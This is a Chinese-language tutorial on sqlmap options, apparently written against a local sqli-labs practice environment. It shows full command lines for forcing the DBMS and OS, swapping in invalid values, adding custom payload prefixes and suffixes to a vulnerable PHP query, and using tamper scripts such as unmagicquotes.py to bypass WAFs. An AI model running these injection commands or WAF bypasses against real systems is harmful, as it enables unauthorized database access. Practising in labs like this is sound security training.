1、sqlmap強制設置DBMS
默認情況下sqlmap會自動探測目標web應用程序后台數據庫管理系統
--dbms
數據庫管理系統名稱 [版本號]
python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --banner --dbms mysql
2、sqlmap強制設置OS
python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --banner --os linux
3、sqlmap強制設置無效值替換
--invalid-bignum
/ --invalid-logical
/ --invalid-string
通常sqlmap使用負值使參數失效
--invalid-bignum
使用大數使參數取值失效
--invalid-logical
使用布爾判斷使參數值失效
--invalid-string
使用隨機字符串使參數值失效
python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --invalid-bignum
python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --invalid-logical
python sqlmap.py -u "http://172.17.0.1/Less-1/?id=1" --invalid-string
4、sqlmap自定義注入負載位置
在有些環境中,只有當用戶提供要附加到注入負載的特定后綴時,易受攻擊的參數才被利用。
--prefix
設置SQL注入Payload前綴
--suffix
設置SQL注入payload后綴
例如查看Less-3的查詢語句為
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
自己構造payload
python sqlmap.py -u "http://172.17.0.1/Less-3/?id=1" --prefix="')" --suffix=" AND ('AXSq'='AXSq"
$sql="SELECT * FROM users WHERE id=('1') AND ('AXSq'='AXSq') LIMIT 0,1";
5、sqlmap設置tamper腳本
sqlmap通過tamper腳本來繞過WAF等防御措施,可以在tamper文件夾下找到所有sqlmap自帶的tamper腳本
root@rane:/usr/share/sqlmap# ls
COMMITMENT data doc extra http.txt lib LICENSE plugins README.md sqlmapapi.py sqlmap.conf sqlmap.py tamper test thirdparty url.txt wget-log
root@rane:/usr/share/sqlmap# cd tamper
例如Less-32關使用寬字節注入腳本
python sqlmap.py -u "http://172.17.0.1/Less-32/?id=1" --tamper "unmagicquotes.py"